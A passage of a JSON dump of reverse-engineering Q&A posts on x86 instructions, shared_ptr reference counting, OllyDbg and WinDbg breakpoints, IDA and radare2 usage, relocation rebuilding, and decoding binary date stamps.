and /proc</p>\n\n<p>Good luck,</p>\n\n<p>D.L.</p>\n"
    },
    {
        "Id": "19207",
        "CreationDate": "2018-08-31T08:26:58.243",
        "Body": "<p>I've come across a set of instructions using <code>lock xadd</code> which I'm guessing came from one of the C++ smart pointer templates. (It's been a very long time since I coded C++ so I'm not sure which).</p>\n\n<pre><code>lea ecx,dword ptr ds:[edi+0x4]   ; edi is a class object\nor eax,0xFFFFFFFF\nlock xadd dword ptr ds:[ecx],eax ; add -1 to edi[1]\njne sdk.1000C801\nmov eax,dword ptr ds:[edi]       ; edi's vtable\nmov ecx,edi                      ; prepare thiscall\ncall dword ptr ds:[eax]          ; call edi-&gt;vtable[0] ??\n</code></pre>\n\n<p>I can see a member of edi is decreased, but how does this effect <code>ZF</code> and when would the <code>jne</code> not be taken? This part of the code is never executed since <code>edi</code> is always 0, so I cannot step though.</p>\n\n<p>To me it looks like a smart pointer, and when the value becomes 0 a destructor is called. To add to my confusion, there are two of these, side by side. The first operates on <code>edi[1]</code> the second on <code>edi[2]</code> which calls <code>vtable[1]</code>.</p>\n",
        "Title": "How does the XADD instruction modify the Zero Flag?",
        "Tags": "|assembly|x86|",
        "Answer": "<p>The question about the zero flag and the <code>xadd</code> instruction has been sufficiently answered by josh. This answer is meant to add some surrounding information about the smart pointer you see.</p>\n\n<p>What you see is typical code for <code>shared_ptr</code>, <em>the</em> standard reference counting smart pointer in the C++ standard library. A <code>shared_ptr</code> object (that is the pointer itself, not what it points to!) contains two(!) pointer values. The first pointer points to the pointee, the second pointer points to a management object. The management objects contains the vtable pointer followed by two reference counts, followed by other stuff depending on the specific kind of management object (for example, if the deleter is not stateless, the deleter's state is also included in the management object). The first reference count in the management object contains the number of <em>strong</em> references to the object (i.e. the number of <code>shared_ptr</code>s pointing to that object), whereas the second reference count contains the number of references to the management object. All strong references together count as a single reference to the management object, but every <code>weak_ptr</code> counts as an individual further reference to the management object.</p>\n\n<p>Whenever a (non-null) <code>shared_ptr</code> goes out of scope, the count of strong references is decreased. If the count of strong references reaches zero, the lifetime of <em>pointee</em> ends, and the first vtable function is called to destroy the pointee. This invokes the deleter specified when creating the shared pointer (which (indirectly) defaults to <code>delete</code> (possibly <code>delete[]</code>for arrays) if no deleter was specified). Furthermore, after deletion of the object, the cumulative reference to the management object for all strong references is also decreased. If that reference count reaches zero, the management object can be destroyed, by calling the second vtable function.</p>\n\n<p>When a (non-null) <code>weak_ptr</code> goes out of scope, just the reference count to the management object is decreased (as the <code>weak_ptr</code> does not carry a strong reference). If this reference count reaches zero, there are no strong references (because otherwise the cumulative reference to the management would still exist), and no other <code>weak_ptr</code>s. The pointee has already been destroyed when the last strong reference went out of scope, so just the management object has be destroyed (again, by calling the second vtable entry).</p>\n\n<p>There is an optimization possibility when the pointee and the management object are created at the same time. In that case, the memory for both objects can be allocated in one block. The management object in that case is no bigger than the vtable and the two reference counts and precedes the pointee. The first vfunction just calls the destructor of the pointee, but does not free its memory. The second vfunction destroys the memory block containing the management object and the already destroyed pointee. This optimization is taken when a <code>shared_ptr</code> is created using <code>make_shared</code>. The downside of this optimization is that the memory block for the pointee is freed only when no <em>weak or strong</em> refences exist, instead of already then just the <em>strong</em> references are gone. In most use cases of <code>shared_ptr</code>, there are no <code>weak_ptr</code>s, so the downside usually does not matter.</p>\n"
    },
    {
        "Id": "19212",
        "CreationDate": "2018-08-31T14:14:07.140",
        "Body": "<p>In the debugger program OllyDbg, How do I set a breakpoint when the left mouse button is pressed? It doesn't matter what it clicks on, so upon mouse click, the breakpoint stops the debugger.</p>\n",
        "Title": "How to set a Mouse Click BreakPoint in OllyDbg?",
        "Tags": "|ollydbg|breakpoint|",
        "Answer": "<p>All messages in a gui application passes through the Application Defined Callback WinProc whose prototype is </p>\n\n<pre><code>LRESULT CALLBACK WindowProc(\n  _In_ HWND   hwnd,\n  _In_ UINT   uMsg,\n  _In_ WPARAM wParam,\n  _In_ LPARAM lParam\n);\n</code></pre>\n\n<p>so when you have breakpointed on a wndproc  </p>\n\n<pre><code>esp    -&gt; return Address\nesp+4  -&gt; hwnd \nesp+8  -&gt; uMsg  \n.....\n</code></pre>\n\n<p><a href=\"https://docs.microsoft.com/en-us/windows/desktop/winmsg/about-messages-and-message-queues#system_defined\" rel=\"nofollow noreferrer\">** MSDN Doc For List of messages**</a></p>\n\n<p>to know a windoproc or class proc \nuse alt+w  shortcut in ollydbg (opens a list of windows )\nright click to open the context menu and follow Either Wndproc or ClassProc\nfor the appropriate window of choice </p>\n\n<p>hit shift+f4 and set a log breakpoint that never pauses  and \nset the function type to be WndProc (Assume Function Of Type DropDown)</p>\n\n<p>see screen shot below\n<a href=\"https://i.stack.imgur.com/kWRv1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kWRv1.png\" alt=\"enter image description here\"></a></p>\n\n<p>and run the app </p>\n\n<p>go to log window and observe you will see a lot of logs like this </p>\n\n<pre><code>00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator\n            00000210  Msg = WM_PARENTNOTIFY\n            00000204  Event = WM_RBUTTONDOWN, ID = 0\n            00230006  Data = 230006\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000021  Msg = WM_MOUSEACTIVATE\n            00010236  hParent = 00010236, class = CalcFrame, text = Calculator\n            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator\n            00000021  Msg = WM_MOUSEACTIVATE\n            00010236  hParent = 00010236, class = CalcFrame, text = Calculator\n            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000020  Msg = WM_SETCURSOR\n            00030248  hWnd = 00030248, class = CalcFrame\n            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator\n            00000020  Msg = WM_SETCURSOR\n            00030248  hWnd = 00030248, class = CalcFrame\n            02040001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000204  Msg = WM_RBUTTONDOWN\n            00000002  Keys = MK_RBUTTON\n            00230006  X = 6, Y = 35.\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000084  Msg = WM_NCHITTEST\n            00000000  wParam = 0\n            01790207  X = 519., Y = 377.\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000020  Msg = WM_SETCURSOR\n            00030248  hWnd = 00030248, class = CalcFrame\n            02050001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONUP\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00010236  hWnd = 00010236, class = CalcFrame, text = Calculator\n            00000020  Msg = WM_SETCURSOR\n            00030248  hWnd = 00030248, class = CalcFrame\n            02050001  Hittest = HTCLIENT, MouseMsg = WM_RBUTTONUP\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000205  Msg = WM_RBUTTONUP\n</code></pre>\n\n<p>now refine the breakpoint to suit your condition<br>\n(change from never to on condition<br>\nadd condition  like when uMsg == WM_LBUTTONDOWN  ie<br>\n[esp+8] == 0x20x..20y (see the stack layout mention earlier<br>\n0x200 t0 0x220 are WM_MOUSE EVENT MESSAGES </p>\n\n<p>here is screenshot that shows a possible configuration and result below screen shot\n<a href=\"https://i.stack.imgur.com/sShU6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/sShU6.png\" alt=\"enter image description here\"></a></p>\n\n<pre><code>00551EDE  INT3: [esp+8] = WM_MOUSEMOVE\n00551EDE  INT3: [esp+8] = WM_NCHITTEST\n00551EDE  INT3: [esp+8] = WM_PARENTNOTIFY\n00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE\n00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_LBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000201  Msg = WM_LBUTTONDOWN\n            00000001  Keys = MK_LBUTTON\n            00350004  X = 4, Y = 53.\n00551EDE  INT3: [esp+8] = WM_NCHITTEST\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_LBUTTONUP\n00551EDE  INT3: [esp+8] = WM_NCHITTEST\n00551EDE  INT3: [esp+8] = WM_PARENTNOTIFY\n00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE\n00551EDE  INT3: [esp+8] = WM_MOUSEACTIVATE\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_RBUTTONDOWN\n00551EDE  Call to CALC.WndProc from USER32.77B4C4E4\n            00030248  hWnd = 00030248, class = CalcFrame\n            00000204  Msg = WM_RBUTTONDOWN\n            00000002  Keys = MK_RBUTTON\n            00350004  X = 4, Y = 53.\n00551EDE  INT3: [esp+8] = WM_NCHITTEST\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_SETCURSOR\n00551EDE  INT3: [esp+8] = WM_RBUTTONUP\n</code></pre>\n"
    },
    {
        "Id": "19218",
        "CreationDate": "2018-09-01T19:40:14.497",
        "Body": "<p>The bitmask is used to manipulate the value of the integer variable. From debugging, I guessed that the bitwise operation generates nearest even integer. Here is the assembly:</p>\n\n\n\n<pre><code>mov     r8d, 0FFFFFFF8h\njnz     loc_x\nmov     eax, [rsp+48]\nadd     eax, 7\nand     eax, r8d\nmov     edi, eax\nmov     r8d, eax\nmov     [rsp+48], rdi\ncall    operator_new\nxor     r8d, r8d\nmov     rsi, rax\ntest    rax, rax\njz      loc_y\n</code></pre>\n\n<p>The interested pseudo-code is:</p>\n\n<pre><code>a = (b + 7) &amp; 0xFFFFFFF8;\nc = a;\n</code></pre>\n\n<p>So, what does <code>0xFFFFFFF8</code> value do? And how can I determine the purpose behind that operation (and possibly any other in future)?</p>\n",
        "Title": "How to identify the purpose behind a bitmask?",
        "Tags": "|disassembly|decompilation|",
        "Answer": "<p>sometimes a python script makes it easier to understand </p>\n\n<pre><code>def bitbut(a,b):\n    for i in range(a,b,1):\n        b = 0 + i\n        c = b + 7\n        d = c &amp; 0xfffffff8\n        print \"%3d\" % (d),\n    print \"\\n\"\nfor i in range(0,256,16):\n    bitbut(i,i+16)\n</code></pre>\n\n<p>output </p>\n\n<pre><code>  0   8   8   8   8   8   8   8   8  16  16  16  16  16  16  16 \n\n 16  24  24  24  24  24  24  24  24  32  32  32  32  32  32  32 \n\n 32  40  40  40  40  40  40  40  40  48  48  48  48  48  48  48 \n\n 48  56  56  56  56  56  56  56  56  64  64  64  64  64  64  64 \n\n 64  72  72  72  72  72  72  72  72  80  80  80  80  80  80  80 \n\n 80  88  88  88  88  88  88  88  88  96  96  96  96  96  96  96 \n\n 96 104 104 104 104 104 104 104 104 112 112 112 112 112 112 112 \n\n112 120 120 120 120 120 120 120 120 128 128 128 128 128 128 128 \n\n128 136 136 136 136 136 136 136 136 144 144 144 144 144 144 144 \n\n144 152 152 152 152 152 152 152 152 160 160 160 160 160 160 160 \n\n160 168 168 168 168 168 168 168 168 176 176 176 176 176 176 176 \n\n176 184 184 184 184 184 184 184 184 192 192 192 192 192 192 192 \n\n192 200 200 200 200 200 200 200 200 208 208 208 208 208 208 208 \n\n208 216 216 216 216 216 216 216 216 224 224 224 224 224 224 224 \n\n224 232 232 232 232 232 232 232 232 240 240 240 240 240 240 240 \n\n240 248 248 248 248 248 248 248 248 256 256 256 256 256 256 256 \n</code></pre>\n\n<p>as can be seen a pattern can be discerned from the output<br>\nfor any input that is between<br>\n 0 and  8 both inclusive the output would be 8<br>\n 9 and 16 both inclusive the output would be 16 and so on<br>\nso the assembly snippet rounds up the input to the next boundary<br>\nthat is a multiple of 8   </p>\n"
    },
    {
        "Id": "19234",
        "CreationDate": "2018-09-03T05:52:39.803",
        "Body": "<p>I have a function in a binary like this <code>class&lt;class1::class2&gt;::function</code>. I can't directly use commands like <code>bp</code>, <code>u</code>, <code>x</code> on the function. The only option I have right now is <code>x class*</code> and then look in the output for the address and then set a breakpoint <code>bp &lt;address&gt;</code>. </p>\n\n<p>Is there something that I'm missing? Its too cumbersome to copy and paste addresses each debugging session. One option is to use pykd, but I am looking for a pure windbg solution.</p>\n",
        "Title": "Are some special chars(<>) in function names not supported by windbg/cdb?",
        "Tags": "|binary-analysis|c++|windbg|",
        "Answer": "<p>they are supported if you add the special escape sequence <strong><a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/breakpoint-syntax\" rel=\"noreferrer\"><code>@!\"  symbol \"</code></a></strong></p>\n\n<p>make sure you set a resolved breakpoints not an unresolved one </p>\n\n<p>and be aware a single address may point to several instantiations of these classes </p>\n\n<pre><code>windbg version \nMicrosoft (R) Windows Debugger Version 10.0.17744.1001 X86\n\nlets look for some functions with angle brackets in them\n\n0:000&gt; x /f /v windbg!*&lt;*&lt;*&lt;*\n\nprv func   00b76da9            6d windbg!Debugger::Utils::SmartCleanup_______snipped\nprv func   00b76e16            46 windbg!Debugger::Utils::SmartCleanup_______snipped\npub func   00b9bcd1             0 windbg!std::basic_string&lt;char,std::_______snipped\nsnip \n\n\n\n0:000&gt; bp @!\" windbg!Debugger::Utils::SmartCleanup_____snipped \"\nBp expression '@!\" windbg!Debugger::Utils::SmartCleanup&lt;&lt;lamb___snipped \"'    \n\ncould not be resolved, adding deferred bp &lt;&lt;&lt;&lt;&lt;\n\n0:000&gt; bl\n     0 e Disable Clear u             0001 (0001) (@!\" windbg!Debugger::Utils::SmartCleanup&lt;&lt;lambda_snipped\n</code></pre>\n"
    },
    {
        "Id": "19235",
        "CreationDate": "2018-09-03T10:30:59.557",
        "Body": "<p>This is my first program i am trying to reverse and my intro to this field.</p>\n\n<p>The C program will test if two strings match, and it will printf() a message for each occasion.</p>\n\n<p>This is what the reversed code snippet looks like:</p>\n\n<pre><code>call strcmp //compares the strings\ntest eax,eax\njne 1706\n</code></pre>\n\n<p>I know that jne will jump, if ZF=0.</p>\n\n<p>What i do not understand is what's up with this line:</p>\n\n<pre><code>test eax,eax\n</code></pre>\n\n<p>What caused this line?\nHow does it relate with strcmp?</p>\n\n<p>I know that if the result of test is not zero, ZF=0, so jne will jump.\nBut what does it compare exactly, and how does it relate to strcmp?</p>\n",
        "Title": "Purpose of test eax,eax after a strcmp",
        "Tags": "|disassembly|assembly|c|",
        "Answer": "<p>You might be missing the fact that <em>call strcmp</em> will not set <em>ZF</em> for you - it returns the result in the EAX register. But JNE instruction tests <em>ZF</em>, and that <em>test eax, eax</em> serves to set ZF according to EAX. (actually, the opposite way, EAX=1 -> ZF=0).</p>\n\n<p>I recommend reading some easy book on x86 assembly, it will help you a lot.</p>\n"
    },
    {
        "Id": "19253",
        "CreationDate": "2018-09-04T16:00:00.250",
        "Body": "<p>Here is an example of the <code>bt</code> instruction in a X64 Windows binary:</p>\n\n<pre><code>bt      eax, 18h\njnb     short loc_a\nlea     rcx, String\ncall    cs:__imp_wprintf\nmov     eax, [rbx+40h]\n</code></pre>\n\n<p>In pseudocode:</p>\n\n<pre><code>if ( _bittest(&amp;Mode, 0x18u) )\n{\n  wprintf(L\"String\");\n  Mode = Properties-&gt;Mode;\n}\n</code></pre>\n\n<p>What is the <code>_bittest</code> macro used in a IF statement? Is it similar with <code>if(a &amp; b == b)</code> or something? The code <code>if(a &amp; b == b)</code> is used for checking if a flag is present in an OR-ed flag. And from debugging, I found the above assembly code is doing something like that. </p>\n",
        "Title": "What is _bittest macro?",
        "Tags": "|disassembly|",
        "Answer": "<p><code>_bittest</code> is a <a href=\"https://msdn.microsoft.com/en-us/library/h65k4tze.aspx\" rel=\"nofollow noreferrer\">compiler intrinsic which maps to the <code>bt</code> instruction</a>:</p>\n\n<blockquote>\n  <p>Generates the <code>bt</code> instruction, which examines the bit in position b of\n  address a, and returns the value of that bit.</p>\n\n<pre><code>unsigned char _bittest(  \n   long const *a,  \n   long b  \n);\n</code></pre>\n</blockquote>\n"
    },
    {
        "Id": "19255",
        "CreationDate": "2018-09-04T16:47:33.007",
        "Body": "<p>I have access to an MS SQL Server DB and I'm able to run queries on the databases. <br/>\nBut the since the database is too big, with multiple tables and each table having many columns (whose names aren't descriptive), I don't know which data is where.</p>\n\n<p>I assumed I could use <code>nc</code> or <code>Wireshark</code> to listen to the port and learn from the backend about data in the DB (I have access to the frontend and the DB). But SQL server data traffic is encrypted. So I downloaded Microsoft Tools like <code>Microsoft SQL server manager</code> and <code>Microsoft Message Analyzer</code> and starting out. </p>\n\n<p><strong>Question</strong><br/>\nAre there ways to figure out \"which data is where\" in a DB?<br/>\nWhat must be my approach to understand the database?<br/></p>\n",
        "Title": "Find schema and info of MS SQL Server to which I have access to",
        "Tags": "|tools|mssql|",
        "Answer": "<p>If I am not mistaken (it's some time since I worked with MS SQL), SQL Server Manager has a feature to reconstruct the database schema, delivering an ER-Diagram, including references between the tables (foreign keys), Stored Procedures etc. This assumes you can connect to the db. Once you have the db schema, this will give you an insight into its structure, and how the tables cooperate. </p>\n"
    },
    {
        "Id": "19259",
        "CreationDate": "2018-09-05T08:29:42.180",
        "Body": "<p>Seems like unpacking UPX manually is not a trivial task any more, due to ASLR and the need to recover the relocation table. So, before reinventing the wheel, I'd like to know if there's already some tool to do this.</p>\n",
        "Title": "Is there a tool to reconstruct .reloc section?",
        "Tags": "|windows|pe|",
        "Answer": "<p>There is a tool called <code>ReloX</code> by MackT/uCF2000:</p>\n\n<blockquote>\n  <h2>Purpose:</h2>\n  \n  <p>ReloX is a Win32 relocations rebuilder. It will create a .reloc section from different based images.</p>\n  \n  <h2>What does it need?</h2>\n  \n  <ul>\n  <li>At least 2 different based images of a module. The more you have images, the more your relocations will be reliable.</li>\n  </ul>\n  \n  <h2>Limitations</h2>\n  \n  <ul>\n  <li>It will only support 32 bits relocations of type (3). (IMAGE_REL_BASED_HIGHLOW : The fixup applies the delta to the 32-bit\n  field at Offset)</li>\n  </ul>\n</blockquote>\n\n<p>At the time of writing, a copy seems to be available <a href=\"http://www.woodmann.com/collaborative/tools/index.php/ReloX\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "19267",
        "CreationDate": "2018-09-05T19:01:01.507",
        "Body": "<p>Is there a plugin or option in IDA that interleavs the hex bytes for \neach instruction similar to the output of <code>objdump</code>? I.e. like this:</p>\n\n<pre><code>   1800035f1:   ff 15 19 5a 00 00       callq  *0x5a19(%rip)        # 0x180009010                          \n   1800035f7:   45 8b c6                mov    %r14d,%r8d                                                  \n   1800035fa:   48 8d 55 d7             lea    -0x29(%rbp),%rdx                                            \n   1800035fe:   48 8d 4b 10             lea    0x10(%rbx),%rcx                                             \n   180003602:   ff 15 b0 1c 00 00       callq  *0x1cb0(%rip)        # 0x1800052b8                          \n   180003608:   48 8d 7d ef             lea    -0x11(%rbp),%rdi                                            \n   18000360c:   41 8d 4e ff             lea    -0x1(%r14),%ecx                                             \n   180003610:   49 3b c6                cmp    %r14,%rax                                                   \n   180003613:   74 12                   je     0x180003627                                                 \n   180003615:   33 c0                   xor    %eax,%eax                                                   \n</code></pre>\n\n<p>I dont want to switch to hex view.</p>\n",
        "Title": "IDA plugin to view hex bytes similar to objdump",
        "Tags": "|ida|objdump|",
        "Answer": "<p>There is no need for plugins. Just enter a non-zero value in \"Number of opcode bytes\"  in Options-General-... Disassembly.</p>\n"
    },
    {
        "Id": "19272",
        "CreationDate": "2018-09-06T17:51:44.910",
        "Body": "<p>I'm trying to run an IDAPython <a href=\"https://pastebin.com/e7KhFAWi\" rel=\"nofollow noreferrer\">script</a> in IDA 7.1 on Windows 10 and it runs just fine when I run it from the <code>Script File...</code> command, but if when I run it from the command line it isn't working properly. My command to run it from the command line is:</p>\n\n<p><code>ida64 -A -SC:\\path\\to\\script\\databaseAll.py C:\\path\\to\\ELFexecutable\\target0</code></p>\n\n<p>If I open the file in the graphical interface first and pack the database, then it works from the command line in creating the database correctly, but otherwise it has a lot of information that's missing.</p>\n\n<p>Am I doing something wrong? How do you properly run a script from the command line?</p>\n",
        "Title": "IDAPython Script works from \"Script File\" but not when run with -S from Terminal",
        "Tags": "|ida|windows|idapython|script|",
        "Answer": "<p>You need to run <code>idc.auto_wait</code> in the python script to allow IDA to process all the entries in it's auto-analysis queue before it tries to navigate around based on analysis-dependent features.</p>\n"
    },
    {
        "Id": "19274",
        "CreationDate": "2018-09-06T20:01:07.097",
        "Body": "<p>Application security engineer here. When we compile our java code, we obfuscate it using KlassMaster and have it remove line numbers <em>(see <a href=\"https://www.zelix.com/klassmaster/featuresLineNumberScrambling.html\" rel=\"noreferrer\">KlassMaster docs</a>)</em> because of a handwavy explanation \"it makes reverse engineering harder\".</p>\n\n<p>I'd like to fact-check that this is actually increasing reverse-engineering difficulty enough to warrant the amount of dev time that's wasted trying to debug useless stack traces.</p>\n",
        "Title": "Why do obfuscators remove line numbers, and can I safely leave them in?",
        "Tags": "|obfuscation|java|",
        "Answer": "<p>Stripping line numbers has a minimal impact on the difficulty of reverse engineering code. If it is causing you problems, I would recommend disabling it.</p>\n\n<p>Col-E's answer is a red herring because it is fairly easy for a reverse engineer to insert synthetic line numbers into the bytecode to disambiguate stack traces (assuming they don't just rename the methods in the first place). These obviously won't match the original source code line numbers, but if all you want is a way to disambiguate stack traces, that is easy to accomplish.</p>\n\n<p>TamusJRoyce's answer is also mistaken. Javac does not do the sort of optimizations that GCC does, which is why unobfuscated Java can be decompiled so cleanly. The only notable optimization I know of that Javac does at compile time is inlining and simplifying constant expressions.</p>\n"
    },
    {
        "Id": "19275",
        "CreationDate": "2018-09-06T22:18:21.207",
        "Body": "<p>I'm trying to convert some x86 assembly back into C++, and I cannot figure out how this set of instructions was originally written.</p>\n\n<pre><code>movd xmm0,eax ; byte read from device '0x04'\ncvtdq2pd xmm0,xmm0 ; convert packed to double?\nshr eax,0x1F ; highest bit\naddsd xmm0,qword ptr ds:[eax*8+0x4F6CC0] ; global [0, 4294967296] if I read it right\ncvtpd2ps xmm0,xmm0 ; double to packed?\nmovss dword ptr ds:[ebx+0x34],xmm0 ; store the result\n</code></pre>\n\n<p>I've tried various forms of casting <code>float</code> and <code>double</code> to other data types on <a href=\"https://godbolt.org/\" rel=\"nofollow noreferrer\">Compiler Explorer</a> but I cannot find anything that reproduces the <code>cvtdq2pd</code> and <code>cvtpd2ps</code> instructions.</p>\n\n<p>What would the above code look like in c/c++ and what is the resulting data type?</p>\n",
        "Title": "XMM register instructions and their c equivalents",
        "Tags": "|x86|float|",
        "Answer": "<p>You likely won't get an exact reproduction because <code>cvtdq2pd</code> takes the lower 64 bits of the second operand but since we're limited to 32 bits because we're using <code>eax</code> here, there are probably better(?) instructions to use.</p>\n<p><code>cvtsi2sd xmm0, eax</code></p>\n<p>will do the same thing as</p>\n<p><code>movd xmm0,eax</code></p>\n<p><code>cvtdq2pd xmm0,xmm0</code></p>\n<p>See here <a href=\"https://www.felixcloutier.com/x86/CVTDQ2PD.html\" rel=\"noreferrer\">https://www.felixcloutier.com/x86/CVTDQ2PD.html</a> &amp; <a href=\"https://www.felixcloutier.com/x86/CVTSI2SD.html\" rel=\"noreferrer\">https://www.felixcloutier.com/x86/CVTSI2SD.html</a></p>\n<p>So really what it's doing is converting a 32 bit <strong>signed</strong> integer value into a double precision floating point.</p>\n<hr />\n<p>Onto your actual question:</p>\n<p><code>cvtpd2ps xmm0,xmm0 ; double to packed?</code></p>\n<blockquote>\n<p>CVTPD2PS xmm1, xmm2/m128</p>\n<p>Convert two packed double-precision floating-point values in xmm2/mem to two single-precision floating-point values in xmm1.</p>\n</blockquote>\n<p>This will pack the two double precision floats at <code>xmm0[0:63]</code> &amp; <code>xmm0[64:127]</code> into the lower 64 bits of <code>xmm0</code>, converting them from double to single precision floating point values (<code>xmm0[0:31]</code> &amp; <code>xmm0[32:63]</code>).</p>\n<p>Ref: <a href=\"https://www.felixcloutier.com/x86/CVTPD2PS.html\" rel=\"noreferrer\">https://www.felixcloutier.com/x86/CVTPD2PS.html</a></p>\n<p>So if the lower 64 bits of <code>xmm0</code> represented a <code>double</code>, it's now been converted to a 32 bit float, which now sits in the lower 32 bits of <code>xmm0</code>.</p>\n<p><code>movss dword ptr ds:[ebx+0x34],xmm0</code></p>\n<blockquote>\n<p>MOVSS xmm2/m32, xmm1</p>\n<p>Move scalar single-precision floating-point value from xmm1 register to xmm2/m32.</p>\n</blockquote>\n<p>Now stores the 4 byte result from <code>xmm0[0:31]</code> into <code>[ebx+0x34]</code>, which we know is a single precision <code>float</code> from the result of the <code>cvtpd2ps</code> operation.</p>\n<p>So the result of this operation is a 32 bit <code>float</code>.</p>\n<p>Ref: <a href=\"https://www.felixcloutier.com/x86/MOVSS.html\" rel=\"noreferrer\">https://www.felixcloutier.com/x86/MOVSS.html</a></p>\n<hr />\n<p>This code here should be a reasonable approximation. <a href=\"https://gcc.godbolt.org/z/0mi2_9\" rel=\"noreferrer\">In Godbolt</a> it gives me similar assembly to what you have.</p>\n<pre><code>double* d_arr = (double*)0x4F6CC0;\n\nint main() {\n\n    int in = 4;\n    int signbit = ((unsigned int)in &gt;&gt; 31);\n    float result = *(double*)(d_arr + signbit) + in;\n    return 0;\n}\n</code></pre>\n<hr />\n<p>Conclusion:</p>\n<p><code>cvtdq2pd</code> &amp; <code>cvtpd2ps</code> are too powerful for what's actually being calculated here. Unless I'm reading this totally wrong, the upper 64 bits of <code>xmm0</code> are never relevant to the result.</p>\n<p>Disclaimer:</p>\n<p>I've never used floating point assembly before. I just looked up the docs now. I could be missing something.</p>\n"
    },
    {
        "Id": "19280",
        "CreationDate": "2018-09-07T04:23:32.683",
        "Body": "<p>I'm looking at the OLK files created by Outlook for Mac, and these appear to be the date fields, but I cannot figure out what kind of binary dates they are.</p>\n\n<p>There are 2 values in one file (reversed from LE):</p>\n\n<pre><code>DATE1: 41 C0 A0 72 E7 F5 F6 A9\nDATE2: 41 C0 A0 72 E9 2B 82 BA\n</code></pre>\n\n<p>One of these apparently decodes to Thu, 06 Sep 2018 00:34:23 -0400, but I can't figure out how. </p>\n\n<p>These don't appear to be any of the Windows FileTime or OLE formats, and it isn't any of the Mac formats that I've seen before.</p>\n\n<p>Here's another example:</p>\n\n<pre><code>41 BB 67 A9 0A 00 00 00 --&gt; 7/28/2015 12:11:54 UTC\n</code></pre>\n\n<p>Any help greatly appreciated.</p>\n",
        "Title": "What kind of date stamp is this?",
        "Tags": "|binary-format|",
        "Answer": "<p>It's a 64 bit floating point value. </p>\n\n<p>See here: <a href=\"https://developer.apple.com/documentation/foundation/nsdate\" rel=\"noreferrer\">https://developer.apple.com/documentation/foundation/nsdate</a></p>\n\n<p>Returns a <code>TimeInterval</code> which happens to be <code>typealias TimeInterval = Double</code></p>\n\n<p>Ref: <a href=\"https://developer.apple.com/documentation/foundation/timeinterval\" rel=\"noreferrer\">https://developer.apple.com/documentation/foundation/timeinterval</a></p>\n\n<p>As in the source above, the epoch here is seconds from Jan 1 2001. But it's stored as a float.</p>\n\n<hr>\n\n<p><code>41 BB 67 A9 0A 00 00 00</code> is about <code>459778314</code> seconds which is <code>Jul 28 2015, 12:11:54 PM</code> </p>\n\n<p><code>41 C0 A0 72 E7 F5 F6 A9</code> is about <code>557901263</code> which is <code>Sep 6 2018, 6:34:23 AM UTC</code></p>\n\n<p><code>41 C0 A0 72 E9 2B 82 BA</code> is about <code>557901266</code> which is <code>Sep 6 2018, 6:34:26 AM UTC</code></p>\n"
    },
    {
        "Id": "19282",
        "CreationDate": "2018-09-07T06:29:37.493",
        "Body": "<p>In <a href=\"https://www.megabeets.net/a-journey-into-radare-2-part-1/\" rel=\"nofollow noreferrer\">the MegaBeets tutorial, <em>\"A journey into Radare 2 \u2013 Part 1: Simple crackme\"</em></a> the authors <code>iz</code> has,</p>\n\n<pre><code>vaddr=0x08048700 paddr=0x00000700 ordinal=000 sz=21 len=20 section=.rodata type=ascii string=\\n .:: Megabeets ::.\n</code></pre>\n\n<p>Etc, However, my <code>iz</code> shows only,</p>\n\n<pre><code>000 0x00000a44 0x5647c37a7a44  20  21 (.rodata) ascii \\n  .:: Megabeets ::.\n</code></pre>\n\n<p>Is there a way to get the extra information, namely the <code>keys=value</code> format?</p>\n",
        "Title": "Headers for `iz` and such in key=value format?",
        "Tags": "|radare2|",
        "Answer": "<p>The headers for <code>iz</code> have since been added back</p>\n\n<pre><code>[Strings]\nNum Paddr      Vaddr      Len Size Section  Type  String\n000 0x00000850 0x00000850  20  21 (.rodata) ascii \\n  .:: Megabeets ::.\n001 0x00000865 0x00000865  22  23 (.rodata) ascii Think you can make it?\n002 0x0000087c 0x0000087c   9  10 (.rodata) ascii Success!\\n\n003 0x00000886 0x00000886  21  22 (.rodata) ascii Nop, Wrong argument.\\n\n</code></pre>\n"
    },
    {
        "Id": "19291",
